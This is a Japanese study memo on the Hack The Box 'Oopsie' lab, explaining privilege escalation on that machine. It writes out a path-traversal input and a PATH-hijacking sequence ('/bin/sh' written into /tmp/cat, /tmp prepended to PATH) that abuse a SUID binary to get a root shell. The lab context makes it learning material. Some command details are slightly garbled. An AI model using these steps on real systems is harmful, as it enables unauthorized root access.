🐂

HTB Oopsie - メモ

2022/10/29に公開約2,400字

bugtrackerという入っているアプリの悪用的なところから訳が分からなくなって、色々調べたら多分こうなんじゃない!?って何となく分かった気になっているのでそのメモ

robertになれたところから

python3 -c 'import pty;pty.spawn("/bin/bash")'をするのはコマンドインタプリタだと使いにくいから/bin/bashを使えるようにするんだよってことだった気がする(理由が書いてあった記事どこで見かけたか忘れた)

権限確認

cmd
$ id
->(略)groups=1000(robert),1001(bugtracker)

bugtrackerというグループに属していることが分かる。

bugtrackerが持っているファイルが無いか見てみる

cmd
$ find / group bugtracker 2>/dev/null
findコマンド
2>/dev/null

1は標準出力、2はエラー出力。エラー出力を/dev/nullへ、標準出力のみ標準出力されるのでエラーになったものが出力されないので見やすい
https://www.javadrive.jp/command/redirect/index3.html#section1

SUID

https://tryhackme.com/resources/blog/linux-privilege-escalation-suid

そのファイルを持っている人の権限で実行できちゃうわよ~の意
rootが所有するファイルだったら、rootとして実行できる

bugtrackerの確認

https://blog.cyberethical.me/htb-starting-point-oopsie#bugtracker-group

cmd
$ ltrace bugtracker

setuid(1000)していること、cat /root/reports/ユーザ入力としていることが分かる
(この1000はrobertのgroupの1000なのかな)
このことから

  1. catに渡される値が相対参照なこと
  2. /bin/catと指定していないこと

の2つが分かる

1. catに渡される値が相対参照なこと の悪用

cmd
robert@oopsie:/$ bugtracker
->Provide Bug id:
../root.txt
->今回のrootkey

相対参照を利用して、root.txtにアクセスできる
(rootとしてcat /root/report/../root.txtしているのでこれが出来る)

2. /bin/catと指定していないこと の悪用

https://www.youtube.com/watch?v=G32iivxov0Y&t=1380s
(『設定のマーク>字幕>英語(自動生成)>もう一回字幕>自動翻訳>日本語』すると話していることが日本語に翻訳されるよ!!!)

/bin/catと指定されていない場合、catと入力された時にcatは「はて、私はどこで実行すればいいんじゃろ?」となって、環境変数を順に当てはめていく的なことをするみたい(超意訳)

cmd
$ echo $PATH
->/usr/local/sbin:/usr/local/bin:(略):/bin:(略)

「/usr/local/sbin/catは無いなあ。/usr/local/binは無いなあ。・・・/bin/catがあったわ!/bin/catの指示は・・・なるほどやで!ファイル見るで」的な感じ(超意訳)

なので、/binにたどり着く前の箇所にcatの別の指示を作ってしまえばそっちを実行してくれる

/tmp/catに「シェルを起動する」という指示を作って環境変数の最初に/tmpを入れればbugtracker起動したときに/tmp/catが実行されてrootのシェルが完成する

cmd
-- catファイル作る
/tmp $ touch cat
-- ファイルの中身を/bin/shにする
/tmp $ echo "/bin/sh" > cat
-- catに実行権限を付与
/tmp $ chmod +x cat
-- 権限付与できてるか確認
/tmp $ ls -l cat
->-rwxrwxr-x 1 root・・・
-- /tmpを環境変数に追加
$ export PATH=/tmp:$PATH
-- 環境変数追加できてるか確認
/tmp $ echo $PATH
-> /tmp:usr/local・・・
-rwxrwxr-xのやつ

誰でも実行できる状態になってる
https://docs.oracle.com/cd/E19683-01/816-3946/files-26/index.html

これでbugtrackerを実行してみると

  1. bugtracker実行
  2. ->バグID入力してね
  3. 2
  4. まずrootとして実行するようにするで(setuid(1000))
  5. 「cat /root/report/2」したいで
    5-1. 環境変数チェックや。/tmp/catは・・・あるで!これを実行するで!
    5-2. 「/tmp/cat」の指示は「/bin/sh」やな!「root権限で/bin/shするで!」
  6. rootのシェル完成

的な感じで権限昇格できた~!

という感じだと・・・思う。。

Discussion

ログインするとコメントできます